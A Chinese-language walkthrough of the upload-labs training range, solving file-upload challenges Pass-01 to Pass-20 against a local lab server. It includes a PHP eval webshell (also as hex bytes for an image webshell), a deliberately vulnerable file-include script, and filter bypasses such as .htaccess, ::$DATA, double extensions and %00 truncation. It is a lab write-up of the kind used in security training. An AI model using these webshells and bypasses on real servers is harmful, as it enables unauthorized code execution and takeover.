文章目录
- 一、Pass-01
- 1.抓包上传
- 2.获取上传路径
- 3.工具验证
- 二、Pass-02
- 三、Pass-03
- 1.使用httpd.conf自定义后缀
- 2.提取上传文件名
- 3.工具测试
- 4.注意点
- 四、Pass-04
- 1.上传.htaccess
- 2.上传图片
- 3.工具测试
- 五、Pass-05
- 六、Pass-06
- 1.空格+.号绕过
- 2.工具测试
- 七、Pass-07
- 八、Pass-08
- 1.特殊符号绕法
- 2.工具测试
- 九、Pass-09
- 1.特殊符号+.+空格组合绕过
- 2.工具测试
- 十、Pass-10
- 1.双写绕过
- 2.工具测试
- 十一、Pass-11
- 十二、Pass-12
- 1.00截断条件1
- 2.00截断条件2
- 3.空格a替换
- 4.工具测试
- 十三、Pass-13
- 1.制作图片马
- 2.工具测试
- 十四、Pass-14
- 十五、Pass-16
- 1.制作图片马
- 2.对比修改
- 3.替换未修改
- 4.上传测试
- 十六、Pass-17
- 十七、Pass-18
- 十八、Pass-19
- 十九、Pass-20
一、Pass-01
1.抓包上传
只能上传jpg,png,gif格式图片,因此先选一个jpg,然后抓包修改文件类型和文件数据
2.获取上传路径
接下来需要知道文件上传到哪个目录下
可以看出上传到上一级目录的upload文件夹了,而当前目录是
http://127.0.0.1/upload/Pass-01/index.php,即http://127.0.0.1/upload/Pass-01/
因此上一级目录是http://127.0.0.1/upload/
即最终上传路径是http://127.0.0.1/upload/upload/
可以看出已上传成功,接下来用工具连接验证下
3.工具验证
F12解析成功
说明连接和调用成功
二、Pass-02
还是用上一题的办法
<?php @eval($_POST["fname"]);?>Content-Type: image/jpeg
Content-Type:application/octet-stream
三、Pass-03
不出所料不能用老办法了
1.使用httpd.conf自定义后缀
那就改后缀绕过,改成3.phtml
2.提取上传文件名
发现可以上传,但是文件名被改了,没关系可以提取,202306261154331548.phtml
验证下看能不能解析,发现不行
3.工具测试
猜测应该是我的皮卡丘版本较老,换装新版本试下
菜刀也连接成功了
4.注意点
值得说明的是一句话代码那里第一个空行不要删,不然上传不会成功的
四、Pass-04
显然phtml也被禁了,不信你可以试下
1.上传.htaccess
尝试使用.htaccess文件,先上传它
2.上传图片
然后上传图片,只要加一句话木马就行,其他不用改
3.工具测试
测试下
五、Pass-05
好吧,这关.htaccess也不能用了
大小写绕过
但是Php是不是可以呢
上传成功,试下能不能运行
OK 搞定
六、Pass-06
1.空格+.号绕过
试了下大小写绕过失败,.htaccess上传失败
最后用这种奇怪的方法组合绕过了,即空格+.号绕过
2.工具测试
七、Pass-07
同上题绕法
这个狠,试下上题的方法先
这次也上传成功了
工具测试
OK 搞定
八、Pass-08
这次不行了
1.特殊符号绕法
试下特殊符号绕法:1.php::$DATA
果然可以
2.工具测试
OK 搞定
九、Pass-09
1.特殊符号+.+空格组合绕过
2.工具测试
看来这个也没问题了
十、Pass-10
1.双写绕过
发现会把php去掉,那就来个双写绕过
很好,上传成功
2.工具测试
OK 搞定
十一、Pass-11
经尝试,双写绕过失败,特殊符号绕过失败
00截断绕过
11.php%00.jpg,11.jpg%00.php
这里我们使用00截断绕过,此外还需修改content-Type这个值,因为这样jpg也可以解析了
如下图所示,save_path在上面,说明是get型00截断
在filename=XX.php%00.jpg
十二、Pass-12
save_path在下面,说明是post型00截断
post型的需要在upload后面追加 XX.php ,php后面有空格
然后切换到16进制页面,找到空格的位置
将20改成00
然后放包
但是失败了
经查:在php 5.3.4中php修复了0字符,但是在之前的版本中00在php中危害较大
1.00截断条件1
而我的PHP是5.4.45因此尝试下降级
2.00截断条件2
其次php.ini中的magic_quotes_gpc是必须off状态的
3.空格a替换
然后我们在12.php后面加:空格a,a是方便定位,空格16进制换成00后就可以上传php文件了
4.工具测试
十三、Pass-13
这节应该需要做内容绕过
文件内容绕过:
JPG:JPGGraphicFile;gif:GIF89A,zip:ZipCompressed
doc .xls .xlt .ppt .apr:MSCompoundDocumentv1orLotusApproachAPRfile
1.制作图片马
首先使用dos命令制作图片马
然后直接上传2.jpg
准备本地包含测试代码include.php
<?php
$file = $_GET['file'];
include $file;
?>
2.工具测试
十四、Pass-14
同上题
15关程序有问题,跳过
十五、Pass-16
1.制作图片马
首先制作图片马,这次使用gif
然后上传图片,但是发现上传后的图片被重新编码了,一句话代码找不到了
2.对比修改
使用EmEditor工具对比看下哪些地方没改
可以看出上图箭头处这块没动,因此可以将一句话木马替换进去,把左图下面这段复制出来
3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 22 66 6E 61 6D 65 22 5D 29 3B 3F 3E 1A 替换到1.gif这个位置,同时记住这里选了多少个字符,这里是96个
替换到箭头处开始的96个字符之后变成
3.替换未修改
变成
4.上传测试
然后将1.gif保存上传
上传成功了
说明没有被过滤掉
工具测试
十六、Pass-17
同上题做法
十七、Pass-18
被保存到上一级目录了,不过没关系还是可以跑
十八、Pass-19
同16关做法
十九、Pass-20
同16关做法